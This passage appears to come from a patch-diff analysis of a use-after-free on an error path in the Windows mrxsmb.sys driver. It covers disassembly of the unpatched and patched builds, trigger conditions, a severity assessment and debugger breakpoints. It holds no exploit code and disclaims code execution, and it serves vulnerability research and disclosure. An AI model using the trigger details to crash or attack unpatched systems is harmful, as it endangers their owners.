&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F0A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pWorkQueueItem&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F11&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;neg&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r13b&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F14&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;118&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;58&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pContext&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F20&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F22&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WorkQueueType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F26&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;11&lt;/span&gt;&lt;span class="n"&gt;Ch&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F2D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;fre&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;consumes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched capture at entry and gated consumption (&lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019DD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019DED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019DF2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019DF4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0019DFF&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019DF6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BEFORE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019DFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;save&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;structure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;may&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;fre&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;merge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;110&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0D6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C8h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0E6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pContext&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;setnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001A0F6&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retained&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001A0F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The feature helper is WIL feature-staging boilerplate:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Feature_1585957178__private_IsEnabledDeviceUsage():
    if (Feature_1585957178__private_featureState &amp;amp; &amp;lt;mask&amp;gt;)
        return Feature_1585957178__private_featureState &amp;amp; 1;
    else
        return Feature_1585957178__private_IsEnabledFallback(..., 3);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;A VNetRoot (tree-connect) construction exchange completes with a negative NTSTATUS. This occurs when connecting to an unreachable server, when the server denies access (e.g. &lt;code&gt;STATUS_NETWORK_ACCESS_DENIED&lt;/code&gt; 0xC00000CB), when the share name is invalid (&lt;code&gt;STATUS_BAD_NETWORK_NAME&lt;/code&gt; 0xC00000CC), on network timeout, or when the function itself sets an error status (NetRoot type byte at &lt;code&gt;[VNetRoot+0xBC]&lt;/code&gt; not 0/1/3 sets 0xC00000CB; a caching-mode condition sets 0xC0410001).&lt;/li&gt;
&lt;li&gt;The negative status flows through &lt;code&gt;Smb2ConstructVNetRoot_Finalize&lt;/code&gt; (&lt;code&gt;0x1C0019D90&lt;/code&gt;) into &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; as arg3, taking the error path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; must drop the last reference to the VNetRoot context for the object to actually be freed. If other references remain, the object survives and the read at &lt;code&gt;0x1C0019F2D&lt;/code&gt; returns valid data (latent bug rather than a live memory-safety fault).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; when the object is freed and the freed page/pointer is invalid, dereferencing the stale device-object pointer inside the worker path can crash the system (bugcheck such as 0x50 PAGE_FAULT_IN_NONPAGED_AREA).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6. Impact Assessment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The read at &lt;code&gt;0x1C0019F2D&lt;/code&gt; returns a pointer field from a possibly-freed VNetRoot context; that pointer is then handed to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; as the device-object argument.&lt;/li&gt;
&lt;li&gt;Whether this is reachable in the wild depends on the reference-count state at the time of the error completion: the object is only actually freed when this dereference drops the last reference. This, together with the fix being feature-gated with the original live read retained in the else-branch, is why the severity is assessed as Medium rather than High.&lt;/li&gt;
&lt;li&gt;No exploit primitive beyond a stale kernel-pointer read/dereference is demonstrable from these two builds. Claims of pool grooming, controlled reclamation, function-pointer hijack, or code execution are not supported by the disassembly and are not asserted here.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger Notes&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints (unpatched):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp mrxsmb!SmbCeCompleteVNetRootConstruction   ; 0x1C0019DB8 — inspect rcx (VNetRoot ctx), r8d (NTSTATUS)
bp 0x1C0019FB3                                 ; SmbCeDereferenceVNetRootContext(rsi) — the deref that may free
bp 0x1C0019F2D                                 ; mov rcx,[rsi+18h] — the read from the possibly-freed context
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;
- At &lt;code&gt;0x1C0019DB8&lt;/code&gt;: confirm &lt;code&gt;r8d&lt;/code&gt; (arg3/NTSTATUS) is negative so the error path is taken; note &lt;code&gt;[rcx+18h]&lt;/code&gt;.
- At &lt;code&gt;0x1C0019FB3&lt;/code&gt;: &lt;code&gt;rcx = rsi = VNetRoot context&lt;/code&gt;. Run &lt;code&gt;!pool @rcx&lt;/code&gt; before stepping over, then re-check &lt;code&gt;@rsi&lt;/code&gt; state after return.
- At &lt;code&gt;0x1C0019F2D&lt;/code&gt;: the value read from &lt;code&gt;[rsi+18h]&lt;/code&gt;. If &lt;code&gt;!pool @rsi&lt;/code&gt; shows the block freed or reallocated, the read-after-free occurred.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;
- &lt;code&gt;0x1C0019EBF&lt;/code&gt;: &lt;code&gt;js loc_1C0019F74&lt;/code&gt; — branch dispatching negative NTSTATUS to the error path.
- &lt;code&gt;0x1C0019FB3&lt;/code&gt;: &lt;code&gt;call SmbCeDereferenceVNetRootContext&lt;/code&gt; — dereference that may free the context.
